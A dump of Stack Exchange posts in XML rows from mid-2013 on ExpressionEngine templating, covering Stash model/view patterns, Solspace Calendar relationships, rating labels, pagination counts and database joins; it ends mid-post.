  <row Id="12272" PostTypeId="2" ParentId="12119" CreationDate="2013-07-25T23:04:27.877" Score="2" Body="&lt;p&gt;Ok, so this is kind of cool and baffling.  I'll just write through the troubleshooting I did. Check out the template additions.  I couldn't get the variable to output either, so I tried throwing in some searches since search: is supposed to work with the MSM now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first channel entries tag pulls the entry but will not pull the variable out.  Crazy.  The second entries tag won't pull anything since press-image has stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I threw in some conditionals with very obvious &quot;answers&quot; - and it does output the content for when the variable isn't empty - but it won't output your actual content.  See this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if press-image != &quot;&quot;}PRESS IMAGE IS NOT EMPTY DARNIT!{/if}&#xA;{if press-image == &quot;&quot;}PRESS IMAGE IS EMPTY Y'GOOFY GAL{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PRESS IMAGE IS NOT EMPTY DARNIT!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of here, since press-article works, is some conflict between the MSM and the File Manager - since this is a file field.  I searched and found this bug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/17510&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/17510&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that says it's fixed.  I'm not sure in what version it was fixed, so you might try those code mods they recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries search:press-image=&quot;not IS_EMPTY&quot; channel=&quot;press&quot; site=&quot;default_site&quot; disable=&quot;member_data|category_fields&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;h1&amp;gt;title: {title}, id: {entry_id},  channel short name: {channel_short_name}&amp;lt;/h1&amp;gt;&#xA;&#xA;    a{press-image}b&#xA;{if press-image != &quot;&quot;}PRESS IMAGE IS NOT EMPTY DARNIT!{/if}&#xA;{if press-image == &quot;&quot;}PRESS IMAGE IS EMPTY Y'GOOFY GAL{/if}&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;{exp:channel:entries search:press-image=&quot;IS_EMPTY&quot; channel=&quot;press&quot; site=&quot;default_site&quot; disable=&quot;member_data|category_fields&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;h1&amp;gt;title: {title}, id: {entry_id},  channel short name: {channel_short_name}&amp;lt;/h1&amp;gt;&#xA;&#xA;    a{press-image}b&#xA;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-07-25T23:04:27.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostTypeId="1" CreationDate="2013-07-25T23:31:19.153" Score="0" ViewCount="249" Body="&lt;p&gt;I'm facing another challenge with Solspace Calendar and relationships. I have the usual Events channel and a separate Organisations channel. Entries in the Events channel have a multiple relationships field that allows the event to be related to organisation(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, a recurring 'Book Club Meeting' event might be associated with the 'Book Club' entry in the Organisations channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each organisation has its own page on the website and I want to show a list of any upcoming events that are associated to that organisation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the below but it shows all events and not just those that are related to the entry I'm looking at. This code doesn't look right to me but I'm not sure what else to try.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;organisations&quot; require_entry=&quot;yes&quot;}&#xA;{parents field=&quot;event_organisations&quot; channel=&quot;calendar_events&quot; limit=&quot;5&quot;}{if parents:count == '1'}&amp;lt;!-- Start Upcoming --&amp;gt;&#xA;&amp;lt;section id=&quot;upcoming&quot; class=&quot;events&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;hd&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;heading&quot;&amp;gt;&amp;lt;a href=&quot;/events&quot;&amp;gt;Upcoming Meetings &amp;amp;amp; Events&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;bd&quot;&amp;gt;&#xA;    &amp;lt;!-- Start Entry Listing --&amp;gt;&#xA;    &amp;lt;ul class=&quot;entries&quot;&amp;gt;{/if}&#xA;      {exp:calendar:events date_range_start=&quot;today&quot; show_months=&quot;1&quot; pad_short_weeks=&quot;n&quot; event_limit=&quot;5&quot;}&amp;lt;li class=&quot;entry event&quot;&amp;gt;&#xA;        &amp;lt;h3 class=&quot;name&quot;&amp;gt;&amp;lt;a href=&quot;{path='events/event'}/{if edited_occurrence}{event_parent_id}{if:else}{event_id}{/if}/{event_start_date format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        {if event_all_day}&#xA;        &amp;lt;time class=&quot;eventdate&quot; datetime=&quot;{event_start_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;{event_start_date format=&quot;%j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y&quot;}&amp;lt;/time&amp;gt;&#xA;        {if:else}&#xA;        &amp;lt;time class=&quot;eventdate&quot; datetime=&quot;{event_start_date format=&quot;%Y-%m-%dT%H:%iZ&quot;}&quot;&amp;gt;{event_start_date format=&quot;%j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y &amp;lt;i&amp;gt;at&amp;lt;/i&amp;gt; %g:%i%a&quot;}&amp;lt;/time&amp;gt;&#xA;        {/if}&#xA;      &amp;lt;/li&amp;gt;{/exp:calendar:events}&#xA;    {if parents:count == parents:total_results}&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;!-- End Entry Listing --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;ft&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/events&quot;&amp;gt;See full diary of events&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;!-- End Upcoming --&amp;gt;{/if}{/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I extract information about events and occurrences based on parent relationships?&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="393" LastEditDate="2013-07-28T16:55:10.910" LastActivityDate="2013-07-28T20:03:31.437" Title="Showing parent relationships to events" Tags="|relationships|solspace-calendar|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostTypeId="2" ParentId="9731" CreationDate="2013-07-26T00:17:29.343" Score="1" Body="&lt;p&gt;Ok I am not expert but basically I do this sort of thing like this...basically a router embeds a model which embeds a view (layout).  You don't necessarily need the router bit...but the model and view approach is really really great and avoids all sorts of parse order conundrums. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Router&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a single router template as my index.html in each template group.  This dissects the URL and then stash:embeds a model.  Occasionally, above this, I have some stash sets to pull, for example, lists of categories I may use in the routing below.  E.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(top)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;!-- Get the textures and the brands--}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; debug=&quot;yes&quot;}&#xA;    {stash:textures}{exp:gwcode_categories cat_id=&quot;9&quot; depth=&quot;3&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}{/stash:textures}&#xA;    {stash:brands}{exp:gwcode_categories cat_id=&quot;10&quot; depth=&quot;3&quot; style=&quot;linear&quot; backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}{/stash:brands}&#xA;{/exp:stash:set}  &#xA;{!-- Join those together --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; trim=&quot;yes&quot; debug=&quot;yes&quot;}&#xA;    {stash:sub_cats}{stash:brands}|{stash:textures}{/stash:sub_cats}&#xA;{/exp:stash:set}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then (just part of it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(below the top, the actual url routing)&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:stash:parse parse_vars=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;    {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;} &#xA;        {!-- PAPERS MAIN INDEX --}&#xA;        {case value=&quot;&quot;}&#xA;            {stash:embed:inkjet:model_index}&#xA;        {/case}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {!-- PAPERS --}&#xA;    {case value=&quot;paper&quot;}&#xA;        {switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;}&#xA;            {!-- PAPER INDEX -&amp;gt; REDIRECT TO GENERAL INDEX --}&#xA;            {case value=&quot;&quot;}&#xA;                {stash:embed:inkjet:model_index_paper}&#xA;            {/case}&#xA;            {!-- SEARCHING BY BRAND OR SURFACE--}&#xA;            {case value=&quot;{stash:sub_cats}&quot;}&#xA;                {stash:embed:inkjet:model_index_paper_brand_or_surface} &#xA;            {/case}&#xA;            {!-- PAPER ENTRY --}&#xA;            {case default=&quot;yes&quot;}&#xA;                {stash:embed:inkjet:model_product_paper}&#xA;            {/case}&#xA;        {/switchee}&#xA;    {/case}   {!-- seg2 = &quot;paper&quot; --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'...etc&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This model is basically a channel entries wrapped around a bunch of stash:sets.  Indeed, it may also pull categories data or whatever.  The beauty of it is you just pull all the data as stash set it as variable, you don't need to worry about parse or page order at all really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MODEL&lt;/strong&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;stash:embed:layouts:layout_product_options_inkjet_paper}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries &#xA;    channel=&quot;product_inkjet_paper&quot; &#xA;    disable=&quot;{lv_disable_default}&quot; &#xA;    limit=&quot;1&quot; &#xA;    url_title=&quot;{segment_3}&quot;&#xA;    require_entry=&quot;yes&quot; &#xA;    dynamic=&quot;no&quot;}   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name='page_title'}{title}{/exp:stash:set}&#xA;{exp:stash:set name='page_h1'}{title}{/exp:stash:set}&#xA;&#xA;{!-- BASIC PRODUCT &amp;amp; CHANNEL FIELDS --}&#xA;{sc_set_basic_entry_fields}&#xA;{exp:stash:set debug=&quot;yes&quot;}&#xA;    {stash:product_unavailable}{cf_paper_unavailable}{/stash:product_unavailable}&#xA;    {stash:one_line_description}{cf_printer_one_line_descrip}{/stash:one_line_description}&#xA;    {stash:is_description}{cf_paper_is_descrip}{/stash:is_description}&#xA;    {stash:manufacturer_description}{cf_paper_manufacturers_descrip}{/stash:manufacturer_description}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{!-- CATEGORY FIELDS --} &#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; excl_cat_id=&quot;10&quot; excl_cat_id_children=&quot;yes&quot; last_only=&quot;yes&quot; style=&quot;linear&quot; parse=&quot;inward&quot;}&#xA;       {exp:stash:set debug=&quot;yes&quot;}&lt;br&gt;&#xA;            {stash:cat_url_title}{cat_url_title}{/stash:cat_url_title}&#xA;            {stash:cat_name}{cat_name}{/stash:cat_name}&#xA;            {stash:cat_id}{cat_id}{/stash:cat_id}&#xA;            {stash:cat_title}{cat_title}{/stash:cat_title}&#xA;        {/exp:stash:set}&#xA;    {/exp:gwcode_categories}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{sc_set_basic_entry_fields} - this is an early parsed low variable that just contains basic stash:sets of entry_id, channel_short_name etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model embeds the layout, which is where we put this all together.  I break mine up into modular little chunks, each stored as an early parse low variable (a snippet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VIEW&lt;/strong&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;&#xA;&#xA;    {lv_global_htmlhead}&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    &#xA;        {lv_global_navigation}&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_page_header}&#xA;&#xA;{!-- THE MAIN PAGE FIELDS --}&#xA;{exp:stash:parse parse_tags=&quot;yes&quot;}&#xA;&#xA;    {sc_product_brand_range_links}        &#xA;    {sc_product_images}&#xA;    {sc_product_availability_and_notes}&#xA;    {sc_product_add_to_cart_variations}&#xA;&#xA;    ...etc&#xA;&#xA;{/exp:stash:parse}&#xA;&#xA;&amp;lt;div id=&quot;page_footer&quot;&amp;gt;&#xA;    {lv_global_footer}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{lv_space}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;br&gt;&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Not this is not a fully finished example and I have cut various things for brevity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each sc_whatever is something very simple, and a self contained block, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;/p&gt;&#xA;&#xA;&#xA;    {exp:ce_img:pair src=&quot;{stash:master_image_url}&quot; max=&quot;175&quot; crop=&quot;no&quot; allow_scale_larger=&quot;no&quot; parse=&quot;inward&quot;}&#xA;         &#xA;    {/exp:ce_img:pair}&#xA;&#xA;&#xA;&lt;p&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, and finally &lt;strong&gt;here's the point&lt;/strong&gt; - the only thing that varies really, for each of your channels, is the model.  It pulls from the different channels using their fieldnames, whatever they are, but it stashes the data &lt;strong&gt;into the same named stash variables&lt;/strong&gt; - so that you only need one layout template to deal with the data coming from different channels.  (You can take it a step further and do template inheritance as well - &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-inheritance&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Template-inheritance&lt;/a&gt; - although I haven't implemented that yet myself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an alternate and better described version of this at &lt;a href=&quot;http://pixelfear.com/blog/stash-workflow&quot; rel=&quot;nofollow&quot;&gt;http://pixelfear.com/blog/stash-workflow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!  Obviously this is a non-trivial amount of complexity to solve this particular issue...but I am using it for a lot more than this of course.  And conce you're on top of it - separating data retrieval from display in EE - I think it would be hard to go back to another approach as this so deftly avoids a whole host of issues and brings performance gains to boot...&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-26T00:17:29.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostTypeId="2" ParentId="12261" CreationDate="2013-07-26T00:29:32.937" Score="0" Body="&lt;p&gt;I think basically if you wrap the second part in a &lt;code&gt;{exp:stash:parse parse_vars=&quot;yes&quot; parse_depth=&quot;2&quot;}&lt;/code&gt; - it will be like the categories bit in my router basically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/12231/1532&quot;&gt;https://expressionengine.stackexchange.com/a/12231/1532&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-26T00:29:32.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12278" PostTypeId="2" ParentId="12273" CreationDate="2013-07-26T01:58:11.103" Score="0" Body="&lt;p&gt;It may not make a difference, but doesn't the parents tag pair also require a channel parameter?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-26T01:58:11.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostTypeId="2" ParentId="12271" CreationDate="2013-07-26T03:20:52.287" Score="2" Body="&lt;p&gt;You can use the add-on Find and Replace Plus. &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/find-and-replace-plus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:replace_plus}&#xA;  {replace_area find=&quot;&amp;lt;p&amp;gt;&amp;lt;figure&amp;gt;&quot; replace=&quot;&amp;lt;figure&amp;gt;&quot;}&#xA;  {replace_area find=&quot;&amp;lt;/figure&amp;gt;&amp;lt;/p&amp;gt;&quot; replace=&quot;&amp;lt;/figure&amp;gt;&quot;}&#xA;    text you want processed&#xA;  {/replace_area}&#xA;  {/replace_area}&#xA;{/exp:replace_plus}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-07-26T03:20:52.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="2" ParentId="12270" CreationDate="2013-07-26T04:36:19.733" Score="1" Body="&lt;p&gt;You need to have JOIN statement for it. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$entry_id = '[FETCH ENTRY ID]';&#xA;$res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('c.cat_name')&#xA;                -&amp;gt;from('categories c')&#xA;                -&amp;gt;join('category_posts cp', 'cp.cat_id = c.cat_id')&#xA;                -&amp;gt;join('channel_titles ct', 'c.entry_id = cp.entry_id')&#xA;                -&amp;gt;where('c.group_id', 4)&#xA;                -&amp;gt;where('ct.entry_id', $entry_id)&#xA;                -&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-26T04:36:19.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="1" AcceptedAnswerId="12419" CreationDate="2013-07-26T04:49:12.457" Score="1" ViewCount="128" Body="&lt;p&gt;I'm using Solspace Rating to let users rate and review entries. I have many different channels and each channel has their own rating sub-category names saved as global variables. For example, for the channel &quot;Venues&quot; I have global variables like {venue_1label}, {venue_2label}, {venue_3label}, {venue_4label} for the names of the 4 rating subcategories. You can see an example of this here: &lt;a href=&quot;http://www.weddingwise.co.nz/vendor/kumeu-valley-estate#h1-reviews&quot; rel=&quot;nofollow&quot;&gt;http://www.weddingwise.co.nz/vendor/kumeu-valley-estate#h1-reviews&lt;/a&gt;. On the right side of each review there are 4 sub-ratings below the overall rating. Every channel has a different set of sub-rating labels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These global variables use the {channel_short_name} of the rated entry as part of the variable name, so when I'm displaying the ratings on a single entry page I pass the {channel_short_name} through an embed and then use it to assemble the global variable tag name like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;Open|Featured&quot;}&#xA;{embed=&quot;includes/review&quot; entry_id=&quot;{entry_id}&quot; channel_short_name=&quot;{channel_short_name}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the embed template &quot;includes/reviews&quot; includes pieces like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;label&quot;&amp;gt;{{embed:channel_short_name}_1label}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which parses to {venue_1label} and then is replaced by the corresponding global variable by the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works fine. My problem is now displaying the same information on a different page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm listing all Ratings by the logged in user on a user profile page. For this page the {exp:rating:entries} tag is not on a single entry page and not inside {exp:channel:entries}. So I need to use the {rating_id} to find the matching {entry_id} of the associated rated entry, and then use that {entry_id} to pull {channel_short_name}, and then use that {channel_short_name} to build the global variable tag like I did above through an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get this to work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using 2 levels deep of embedded templates combined with an SQL query to grab the {entry_id}. First get {entry_id} and pass as embed variable to first embed template. Inside first embed template use {exp:channel:entries} to get {channel_short_name} from {entry_id}, then pass {channel_short_name} to another embed template. That second level embed template then uses {channel_short_name} embed variable to assemble the final global variable tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for some channel names, but for some reason other channels are not working. I can't find any different between the channels that would cause one to work and not another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There must be a much less convoluted way to achieve this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-08-01T15:35:37.223" Title="How to get {channel_short_name} from Solspace Rating {exp:rating:entries}?" Tags="|query|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12282" PostTypeId="2" ParentId="12262" CreationDate="2013-07-26T04:49:48.387" Score="2" Body="&lt;p&gt;Try by replacing these &lt;code&gt;$this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;generate_json($lang, TRUE)&lt;/code&gt; and &lt;code&gt;$this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;generate_json($modules, TRUE)&lt;/code&gt; with &lt;code&gt;json_encode($lang)&lt;/code&gt; and &lt;code&gt;json_encode($modules)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-26T04:49:48.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostTypeId="1" CreationDate="2013-07-26T07:00:34.723" Score="0" ViewCount="958" Body="&lt;p&gt;I have the following channel entry tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;designs&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;&#xA;{!--output--}&#xA;&#xA;{paginate}&#xA;    &amp;lt;div class=&quot;pagination clearfix&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;pagination-button&quot;&amp;gt;&#xA;            {if previous_page}&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{/if}&#xA;            &amp;lt;i class=&quot;icon-angle-left&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            {if previous_page}&amp;lt;/a&amp;gt;{/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;{current_page} of {total_pages}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;pagination-button&quot;&amp;gt;&#xA;            {if next_page}&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{/if}&#xA;            &amp;lt;i class=&quot;icon-angle-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            {if next_page}&amp;lt;/a&amp;gt;{/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that pagination displays the current and total pages, but instead I want it to show the current entries range and total entries, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1 - 8 of 26 results&lt;/code&gt; for page one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;9 - 16 of 26  results&lt;/code&gt; for page two&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assembled this string:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{count} to {absolute_count} of {absolute_results} results&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I obviously can't just put it in the entry tag as it would parse for each entry. Moreover, {count} references the currently displayed items (ie. {count} will always be 1-8). I would have to do some sort of calculation to find the first count of the page. I assume an addon like &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;Math&lt;/a&gt; would be suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get the correct last count (ie. 8, 16, 24 etc.) the string should only be parsed on the final entry for a given page. What sort of condition could I use to ensure it only parses for the last entry?&lt;/p&gt;&#xA;" OwnerUserId="1646" LastActivityDate="2013-07-26T14:15:50.827" Title="Show currently displayed results and total results in pagination" Tags="|channel-entries|pagination|count|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12284" PostTypeId="1" AcceptedAnswerId="12413" CreationDate="2013-07-26T07:06:53.317" Score="0" ViewCount="188" Body="&lt;p&gt;Is there a way to search a Playa field inside a Matrix field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, are there any other alternatives(like using a hook) or is it really not possible?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-01T12:08:39.057" Title="Is Low Search able to search on a Playa field inside a Matrix field?" Tags="|matrix|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostTypeId="2" ParentId="12261" CreationDate="2013-07-26T10:04:14.910" Score="3" Body="&lt;p&gt;The first thing I would ask is do you really need a fieldgroup for each product channel? Multiple channels can share the same fieldgroup and you can use publish layouts to hide the fields that are not relevant to a particular product. Using the same fieldgroup will also force you to generalise the fields you use which can be a good thing for rationalising your data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not then you could adopt the following approach. It does requires that you use a consistent naming scheme for your fields, e.g. channel_fieldname:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- make a list of your channel prefixes --}&#xA;{exp:stash:set_list name=&quot;channels&quot;}&#xA;    {stash:channel}products_bikes{/stash:channel}&#xA;    {stash:channel}products_skateboards{/stash:channel}&#xA;    {stash:channel}products_trikes{/stash:channel}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- make a list of your common field suffixes --}&#xA;{exp:stash:set_list name=&quot;fields&quot;}&#xA;    {stash:field}summary{/stash:field}&#xA;    {stash:field}another_field{/stash:field}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- map channels and fields to generate tag pairs --}&#xA;{exp:stash:set name=&quot;mapped_fields&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; type=&quot;snippet&quot;}&#xA;   {exp:stash:get_list name=&quot;fields&quot;}&#xA;      {stash:{field}}&#xA;         {exp:stash:get_list:nested name=&quot;channels&quot;}&#xA;            {{channel}_{field}}&#xA;         {/exp:stash:get_list:nested}&#xA;      {/stash:{field}}&#xA;   {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- capture the data --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;   {exp:channel:entries&#xA;      channel='{exp:stash:get_list name=&quot;channels&quot; backspace=&quot;1&quot;}{channel}|{/exp:stash:get_list}'&#xA;      parse=&quot;inward&quot;&#xA;   }&#xA;&#xA;   {mapped_fields}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- example of using the data in your view template (Stash embed or EE embed) --}&#xA;{if summary}{summary}{/if}&#xA;&#xA;{!-- example of using the data in the *same* template you capture the data --}&#xA;{if summary}{exp:stash:get name=&quot;summary&quot; type=&quot;snippet&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make this even more robust, you could list the channels automatically using a plugin like &lt;a href=&quot;http://devot-ee.com/add-ons/get-channels&quot; rel=&quot;nofollow&quot;&gt;Get Channels&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;channels&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:getchannels}&#xA;       {stash:channel}{channel_name}{/stash:channel}&#xA;    